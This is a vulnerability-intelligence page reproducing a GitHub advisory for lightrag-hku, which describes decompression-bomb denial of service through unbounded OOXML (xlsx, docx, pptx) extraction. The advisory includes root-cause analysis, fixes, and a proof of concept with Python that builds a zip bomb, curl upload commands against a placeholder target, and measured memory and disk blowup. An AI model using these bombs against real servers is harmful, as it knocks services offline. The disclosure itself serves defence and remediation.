llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · lightrag-hku

GHSA-9P96-5J78-2F9X

Decompression bomb: OOXML packages are expanded with no size or ratio budget in `_extract_xlsx` / `_extract_docx` / `_extract_pptx` and `export_embedded_image`

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -30 d de la divulgación
Exposición75 dDesde la divulgación, 4 sept 2026, 8:14 p. m.
Detección74 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 1.5.6
Monitoreo
Detectada +1
6 ago 26
5 sept 26
18 nov 26
19 nov 26
6 ago 26
1 sept 26
28 sept 26
24 oct 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.5.6 lightrag-hku · -30 d desde divulgación
Divulgación Publicada GHSA-9P96-5J78-2F9X divulgada · CVSS 6.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`.xlsx`, `.docx` and `.pptx` are zip containers. Every ingestion path that opens one hands the whole archive to a library that materializes its members in full: `load_workbook(BytesIO(file_bytes))` for xlsx, `Document(BytesIO(file_bytes))` for docx, `Presentation(BytesIO(file_bytes))` for pptx, and `zf.read(zip_member)` followed by `write_bytes(blob)` for embedded images in the native docx engine. No entry-count, per-member-size, total-uncompressed-size or compression-ratio check exists on any of those paths. The archive's central directory, which declares the uncompressed size before a single byte is inflated, is never consulted.

The only size control on the ingestion route bounds the compressed body. `MAX_UPLOAD_SIZE` (default 104857600, `lightrag/api/config.py:711-715`) is compared against `file.size` at `document_routes.py:2694-2707` and against `bytes_written` at `:2766-2773`. Both are the bytes on the wire. Deflate multiplies them by up to about 1000x before any code in this repository sees the result, so the default cap permits the attack rather than stopping it.

The preconditions are the shipped defaults: default configuration, default parser engine, no environment variables, no filename hint. `.xlsx`, `.docx` and `.pptx` are all in the default upload allowlist and all route to the `legacy` engine. The only requirement beyond that is the ability to `POST /documents/upload`, or to place a file where `POST /documents/scan` will find it.

Demonstrated impact: a 1,045,232 byte `.xlsx` uploaded to a live `lightrag-server` in default configuration took the worker from 112 MiB to 4,180 MiB RSS, roughly 4,000x the request body, and the memory was not returned. Three sequential 1 MB uploads produced 4,180 MiB, then 8,297 MiB, then 10,345 MiB, so the primitive is cumulative to OOM rather than a transient spike.

Severity / CVSS

`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`

Score: 6.5 (Medium), scored conservatively for a deployment that has authentication configured. Availability only: nothing is read or modified, the worker process is destroyed. `PR:L` because the attack needs no administrative right, only the ordinary document-upload capability that any ingestion user holds. `AC:L` because the archive is built by a fifteen line script, the ratio is a property of deflate rather than of anything server-side, and no race or precondition discovery is involved. `UI:N` because the parse runs in a background task with no operator step.

Stated plainly, because it bounds who is affected, and because it cuts the other way from the usual case: there is no non-default precondition on the parsing side. Default configuration, default engine, no environment variables, no filename hint, and the three affected extensions ship in the upload allowlist. The one precondition is reachability of the upload route.

On the shipped default of no `LIGHTRAG_API_KEY` and no `AUTH_ACCOUNTS`, the combined auth dependency admits everyone, which makes the same vector `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`, 7.5 (High), and unauthenticated. That open default is already published and is cited here only as the reachability precondition, not re-reported. The 6.5 figure is the one claimed, because the defect stands on its own in a properly authenticated deployment: a read-only document-uploading account can OOM the service.

CWE-409 (Improper Handling of Highly Compressed Data / decompression bomb) as the primary weakness, with CWE-789 (Memory Allocation with Excessive Size Value) as the secondary. The native docx image path additionally writes the inflated member to disk, which is CWE-400 in its disk-consumption form.

Affected component

  • `lightrag/parser/legacy/extractors.py:110-111` `_extract_xlsx`, `load_workbook(BytesIO(file_bytes), data_only=True)` immediately followed by a second `load_workbook(BytesIO(file_bytes), data_only=False)`; the measured sink, and the only one that pays the cost twice
  • `lightrag/parser/legacy/extractors.py:47-48` `_extract_docx`, `BytesIO(file_bytes)` into `Document(...)`; python-docx loads every package part
  • `lightrag/parser/legacy/extractors.py:87-88` `_extract_pptx`, `BytesIO(file_bytes)` into `Presentation(...)`; same shape, not separately measured
  • `lightrag/parser/legacy/extractors.py:164-169` `_BINARY_EXTRACTORS`, the suffix to extractor table
  • `lightrag/parser/legacy/extractors.py:190-205` `extract_text`, the single chokepoint all three pass through; dispatch at `:200-204`
  • `lightrag/parser/legacy/parser.py:42` `file_bytes = await asyncio.to_thread(source.read_bytes)` and `:48-50` the `extract_text` call
  • `lightrag/parser/docx/drawing_image_extractor.py:95-96` `zf.read(zip_member)` with no `getinfo(...).file_size` consultation, and `:102` `output_file.write_bytes(blob)`, which spends disk as well as memory; reached from `:331` and `:387`
  • `lightrag/parser/docx/parser.py:66-71` the native docx parser always populates `export_dir_path`, so image export is not gated on any process option
  • `lightrag/api/routers/document_routes.py:2585-2590` `POST /documents/upload`
  • `lightrag/api/routers/document_routes.py:2694-2707` and `:2766-2773` the only size guards, both on compressed bytes
  • `lightrag/api/config.py:711-715` `MAX_UPLOAD_SIZE`, default 104857600
  • `lightrag/parser/registry.py:96-139` `_LEGACY_SUFFIXES`, containing `docx` (`:102`), `pptx` (`:103`), `xlsx` (`:104`)
  • `lightrag/parser/external/_zip.py:43-53` the guard that already exists and is not applied to these paths

Version tested: 1.5.5 at commit `79b54271`. Every line reference above was re-read in that tree.

Root cause

Three facts combine.

  1. Every size check in the ingestion path measures the compressed body. The pre-flight check at `document_routes.py:2694-2707` compares `getattr(file, "size", None)` against `global_args.max_upload_size`; the streaming check at `:2766-2773` accumulates `bytes_written` from 1 MB read chunks and compares the same way. Both operate on the archive as transmitted. Downstream, `legacy/parser.py:42` reads that file back with `source.read_bytes()` and passes the buffer to `extract_text`, which passes it to a parsing library. Nothing between the socket and the library expresses a bound on what the archive expands to.
  1. The extractors never look at the central directory. A zip stores each member's uncompressed `file_size` and `compress_size` in metadata that can be read without inflating anything. `_extract_xlsx`, `_extract_docx` and `_extract_pptx` construct a `BytesIO` over the raw bytes and hand it straight to openpyxl, python-docx and python-pptx respectively, all of which fully materialize what they find. `export_embedded_image` does open the archive itself, at `drawing_image_extractor.py:95`, and is therefore one line away from `zf.getinfo(zip_member).file_size`, but calls `zf.read(zip_member)` at `:96` without checking, then commits the result to disk at `:102`.
  1. The project already implements this guard and applies it to exactly one zip container family. `safe_extract_zip` in `lightrag/parser/external/_zip.py` takes `max_entries` and `max_total_bytes`, and at `:43-53` enforces both from `infolist()` metadata before extraction. Its own docstring states the reasoning: the caps are "checked from ``infolist()`` metadata *before* extraction, so a malicious archive is rejected without being written to disk" (`:35-37`). The `.textpack` reader uses it with `_TEXTPACK_MAX_ENTRIES = 10_000` and `_TEXTPACK_MAX_TOTAL_BYTES = 512 * 1024 * 1024` (`lightrag/parser/markdown/parser.py:56-58`, applied at `:604-609`). `.textpack` arrives through the same upload endpoint and is the same container format. `.docx`, `.pptx` and `.xlsx` get none of it.

An aggravating factor, documented in the code as a deliberate tradeoff whose cost was evaluated without an adversary in mind: `_extract_xlsx` loads the workbook twice, `data_only=True` for cached values and `data_only=False` for formula text, because openpyxl fixes `data_only` at load time. The docstring at `extractors.py:104` calls this out as "doubles peak memory/parse cost". That is a fair characterization for a legitimate spreadsheet and a 2x multiplier on an attacker-supplied one.

Two independent audits of this repository reached this finding separately, one starting from resource exhaustion and arriving at the xlsx sink, one starting from filesystem boundaries and arriving at the docx sinks. The line references in this report were reconciled against the tree rather than taken from either.

Impact

  • A 1 MB upload consumes 4 GB of worker memory. Measured against a live `lightrag-server`, single process, default configuration: baseline 112 MiB RSS, one 1,045,232 byte `.xlsx`, peak 4,180 MiB. The HTTP response was `{"status":"success", ...}`, returned immediately, because the parse is a background task.
  • The memory is not returned, so the primitive is cumulative to OOM. Three sequential 1 MB uploads with distinct filenames produced peaks of 4,180 MiB, then 8,297 MiB, then 10,345 MiB. This is not a spike that a retry policy or a restart-on-crash supervisor absorbs; a handful of 1 MB requests reaches any realistic memory limit.
  • The default upload cap authorizes the attack rather than bounding it. `MAX_UPLOAD_SIZE` defaults to 104857600 bytes and the measured archives ran at 1004:1 and 1027:1, both comfortably under deflate's ceiling. `[INFERENCE]` Only the 1,045,232 byte case was measured against the live server. The compression ratio is a property of the archive rather than of its size, so the extrapolation is linear: the default cap admits roughly 100 GB of decompressed sheet XML, and at the measured amplification of about 4,000x that is about 4.19e11 bytes, on the order of 400 GB of resident memory, for one request the server is configured to accept.
  • The docx path is affected on the default engine with no filename hint. `lightrag.parser.legacy.extractors._extract_docx`, called on a plain `bomb.docx` with no configuration change: 409,071 bytes of upload produced 830 MiB peak RSS in 0.76s and yielded `text len 0`. The memory is spent loading the package, before any text exists to index, so an ordinary content-length or output-size check downstream would not see it coming.
  • The native docx engine also fills the disk. `extract_docx_blocks` plus `export_embedded_image` on the same 409,071 byte file: member `word/media/bomb.png` declared `compressed=407,679 declared_uncompressed=419,430,400 ratio=1029x`, extraction took 1.54s at 1303 MiB peak RSS, and 419,430,400 bytes were written to the asset directory. The `[native]` engine is selected from the upload filename by `resolve_file_parser_directives`, so this variant needs no server configuration either, only a different filename.
  • Failure is an allocation failure, not a rejection. With the address space capped at 4.00 GB via `RLIMIT_AS`, the 1,045,232 byte archive produced `MemoryError` at 2,108.6 MiB peak RSS after 5.21s. Under a cgroup limit the equivalent outcome is an OOM kill of the worker, which on a restart policy is a loop.

Proof of Concept

Version under test: 1.5.5 at commit `79b54271`. All output below is copied from the runs, not reconstructed.

Preconditions: the allowlist and the engine routing
supported_extensions includes .xlsx: True
is_supported_file('bomb.xlsx'): True
resolved engine for bomb.xlsx: legacy
is_supported_file('x.docx'): True engine: legacy
is_supported_file('x.pptx'): True engine: legacy

No environment variable was set for any of this. `resolve_file_parser_engine` (`lightrag/parser/routing.py:1305-1317`) returns `legacy` for all three, and `pipeline.py:1719` defaults to the same engine.

xlsx, direct call into the real sink

`make_xlsx_bomb.py` writes a minimal valid workbook whose `xl/worksheets/sheet1.xml` holds one cell containing a single large inline string. `run_extract.py` then calls the repository's own `extract_text(data, "xlsx")`.

At 64 MiB of sheet XML:

wrote bomb64.xlsx: on-disk=66826 bytes, sheet1.xml uncompressed=67109092 bytes, ratio=1004:1
input on-disk bytes = 66826
extracted chars = 67108936
wall = 0.51s   peak RSS = 554.0 MiB
amplification (peakRSS / upload bytes) = 8693x

At 1 GiB of sheet XML, with the address space capped to make the failure mode explicit:

wrote bomb1g.xlsx: on-disk=1045232 bytes, sheet1.xml uncompressed=1073742052 bytes, ratio=1027:1
RLIMIT_AS set to 4.00 GB
input on-disk bytes = 1045232
MemoryError: MemoryError()
wall = 5.21s   peak RSS = 2108.6 MiB
xlsx, live server through `POST /documents/upload`
python3 make_xlsx_bomb.py bomb1g.xlsx 1024     # -> 1,045,232 bytes on disk, 1027:1
curl -X POST http://TARGET:9621/documents/upload -F "file=@bomb1g.xlsx"

Default `MAX_UPLOAD_SIZE`, default everything:

server pid=641980  baseline RSS=112 MiB
uploading 1045232 byte .xlsx ...
{"status":"success","message":"File 'bomb1g.xlsx' uploaded successfully. ...","track_id":"upload_20260731_112835_..."}
peak RSS = 4180 MiB          <-- 4,000x the request body

Repeating with fresh filenames, memory is never returned:

after bomb#2 : peak RSS = 8297 MiB
after bomb#3 : peak RSS = 10345 MiB

The server's own log for the first upload:

INFO: [File Extraction]Deferred bomb1g.xlsx to legacy parser
INFO: Parsing (native): doc-405dd420198007fb8f9386da106b97c0
...
ValueError: Regex error while tokenizing: Error executing regex: Max stack size exceeded for backtracking
ERROR: Failed to extract document 1/1: bomb1g.xlsx

Two things to read carefully here. The `Parsing (native)` label is the queue group, not the engine: `PARSER_ENGINE_LEGACY` declares `queue_group=PARSER_ENGINE_NATIVE` at `lightrag/parser/registry.py:193`, and the line above it confirms the legacy parser was selected. And the eventual `ValueError` is downstream noise, not the defect: extraction had already succeeded in materializing roughly a gigabyte of text, the 4,180 MiB was already spent, and the tokenizer merely happened to be where the process gave up. A document that failed to index still cost 4 GB.

docx, default legacy engine

The archive is a minimal valid OOXML package with one large stored member:

import zipfile
with zipfile.ZipFile("bomb.docx", "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z:
    z.writestr("[Content_Types].xml", CT)          # minimal valid OOXML skeleton
    z.writestr("_rels/.rels", ROOT_RELS)
    z.writestr("word/_rels/document.xml.rels", DOC_RELS)   # rId9 -> media/bomb.png
    z.writestr("word/document.xml", DOCUMENT)
    with z.open("word/media/bomb.png", "w") as fh:  # 400 MiB of zeros
        for _ in range(400):
            fh.write(b"\0" * 1024 * 1024)
curl -F 'file=@bomb.docx' http://target:9621/documents/upload   # 409 KB on the wire

`lightrag.parser.legacy.extractors._extract_docx` on that file, no filename hint, no configuration change:

upload size: 409,071
text len 0
elapsed 0.76s peak RSS 830 MiB
docx, native engine, memory and disk

Same file, through `extract_docx_blocks` plus `export_embedded_image`:

[+] docx on disk (what the attacker uploads): 409,071 bytes
[+] member word/media/bomb.png: compressed=407,679 declared_uncompressed=419,430,400 ratio=1029x
[!] extraction took 1.54s, peak RSS = 1303 MiB
[!] wrote .../out.blocks.assets/bomb.png -> 419,430,400 bytes

The `ratio=1029x` line is the point: that number is read out of the central directory, by the same `zipfile` handle that is already open at `drawing_image_extractor.py:95`, before `zf.read` at `:96` inflates anything.

Reaching the sinks

`POST /documents/upload` (`document_routes.py:2585-2590`) sanitizes the filename (`:2678`), checks the allowlist (`:2681`), checks the compressed size (`:2694-2707`), streams the archive to `INPUT_DIR` while checking the compressed size again (`:2766-2773`), then schedules `_indexing_task` (`:2802-2808`), which calls `pipeline_index_file` (`:1775`). That calls `pipeline_enqueue_file` and then `apipeline_process_enqueue_documents` (`:1784-1786`). The parse worker resolves the engine, defaulting to `legacy` at `pipeline.py:1719`, and invokes `parser.parse(ParseContext(...))` at `:1732-1742`, which reaches `legacy/parser.py:42` and `:48-50`, and finally `extract_text` and the sinks.

`POST /documents/scan` (`document_routes.py:2462-2465`) reaches the identical sinks for anything already present in `INPUT_DIR`, by way of `run_scanning_process` (`:2005`, scheduled at `:2578`) and `pipeline_index_files` (`:2194`).

Recommended fix

  1. Enforce a decompressed-size budget before any member is read. Add a single guard that opens the payload with `zipfile.ZipFile`, reads `infolist()`, and rejects the document on the central-directory metadata alone: `sum(i.file_size for i in infos)` against a total ceiling, `i.file_size` against a per-member ceiling, and `len(infos)` against an entry count. The in-codebase precedent is exact and should be reused rather than reinvented: `safe_extract_zip` in `lightrag/parser/external/_zip.py` already implements the entry cap at `:43-46` and the total-size cap at `:47-53`, from `infolist()`, before extraction, and is already driven by named constants for the `.textpack` reader at `lightrag/parser/markdown/parser.py:56-58`. The natural shape is to lift that metadata precheck out of `safe_extract_zip` into a shared `guard_ooxml_archive(payload)` that both callers use, so the textpack path keeps its behavior and the OOXML paths gain it.
  1. Add a compression-ratio ceiling, and note that this one has no precedent in the tree. A total-size budget alone is set by whatever value is chosen; a per-member `file_size / compress_size` ceiling catches the pathological archive independently of the absolute numbers, which matters because deflate tops out near 1000:1 and the measured archives ran at 1004:1, 1027:1 and 1029:1. No ratio check exists anywhere in this repository today. `compress_size` is not referenced in `lightrag/`, so this is new code rather than a second application of an existing helper, and it is worth saying so plainly.
  1. Call the guard from the one chokepoint the legacy engine already has. `extract_text` (`lightrag/parser/legacy/extractors.py:190-205`) receives `file_bytes` and the suffix, and dispatches at `:200-204`. Guarding there covers `_extract_xlsx`, `_extract_docx` and `_extract_pptx` in one place and cannot be forgotten by a future binary extractor added to `_BINARY_EXTRACTORS` (`:164-169`).
  1. Stream the native image export with a running byte counter instead of materializing the member. In `export_embedded_image` (`lightrag/parser/docx/drawing_image_extractor.py:93-102`) the archive handle is already open. Check `zf.getinfo(zip_member).file_size` against a per-image cap before reading, then replace `blob = zf.read(zip_member)` plus `output_file.write_bytes(blob)` with a `zf.open(zip_member)` loop that copies in fixed chunks, accumulates the bytes actually written, and aborts and unlinks the partial file once the budget is exceeded. The declared `file_size` is attacker-supplied metadata, so the running counter is what actually enforces the bound; the metadata check only avoids starting. This path spends disk as well as memory, so the budget has to apply to both.
  1. Drive the budget from configuration, defaulting relative to the existing cap. A new `MAX_DECOMPRESSED_SIZE`, defaulting to a small multiple of `MAX_UPLOAD_SIZE` (`lightrag/api/config.py:711-715`), keeps the two limits related and gives operators with genuinely large spreadsheets a way out. Refusing the document with a FAILED `doc_status` and a clear message is the right failure mode, since the pipeline already has that path for parse errors.
  1. Halve the xlsx cost while there. `_extract_xlsx` loads the workbook twice at `extractors.py:110-111`, which the docstring at `:98-107` acknowledges as doubling peak cost, for the legitimate reason that openpyxl fixes `data_only` at load time. A single `data_only=False` load with `Cell.value` and `Cell.internal_value` handling, or a streaming pass, removes the 2x on every workbook, hostile or not. This is a mitigation rather than a fix; items 1 through 4 are the fix.

References

  • Version tested: 1.5.5, commit `79b54271`. All line references re-read in that tree.
  • Sinks: `lightrag/parser/legacy/extractors.py:110-111` (xlsx, double load), `:47-48` (docx), `:87-88` (pptx), `:190-205` (`extract_text`, dispatch `:200-204`); `lightrag/parser/docx/drawing_image_extractor.py:95-96` and `:102` (native image export, memory and disk).
  • Ingestion path: `lightrag/api/routers/document_routes.py:2585-2590`, `:2694-2707`, `:2766-2773`, `:2802-2808`, `:1775`, `:1784-1786`; scan variant `:2462-2465`, `:2005`, `:2194`. Engine selection: `lightrag/parser/routing.py:1305-1317`, `lightrag/pipeline.py:1719`. Allowlist: `lightrag/parser/registry.py:96-139`.
  • Configuration: `lightrag/api/config.py:711-715`, `MAX_UPLOAD_SIZE` default 104857600, compressed bytes only.
  • Existing guard, not applied here: `lightrag/parser/external/_zip.py:43-53`, used from `lightrag/parser/markdown/parser.py:604-609` with the constants at `:56-58`.
  • Weakness classification: CWE-409 (Improper Handling of Highly Compressed Data) as primary, CWE-789 (Memory Allocation with Excessive Size Value) as secondary, with CWE-400 covering the disk consumption on the native image path.
  • No existing advisory for this project concerns decompression, archive handling, or memory bounds in document parsing. This report is distinct from the two published denial-of-service advisories on both mechanism and fix. `GHSA-3wg5-5w54-3rfm` is unbounded pre-authentication dictionary growth in `lightrag/api/auth.py` and `utils_api.py`, driven by forged JWT `sub` claims; the resource is a Python `dict` on the auth path and the fix is a key cap with eviction. `GHSA-32jh-39m7-8x84` is regex backtracking via `sentence_split_regex` in the semantic chunker; the resource is CPU, the entrypoint is a JSON field on `/documents/text`, and the fix is regex validation. This report is heap and disk allocation, the entrypoint is a file body on `/documents/upload` and `/documents/scan`, the sinks are zip and OOXML library reads in `lightrag/parser/`, and the fix is central-directory size accounting. The three are disjoint: fixing either published issue changes nothing here.
  • Also distinct from `GHSA-vv3m-f8x4-7377`, which concerns destination validation in the native markdown image downloader and says nothing about size caps or decompression.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
lightrag-hku≤ 1.5.5
1.5.5
1.5.7
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypilightrag-hku
Corregida 1.5.6 -30 d 1.5.7 no afectada
Versiones corregidas1.5.6
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/HKUDS/LightRAG/security/advisories/GHSA-9p96-5j78-2f9x

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.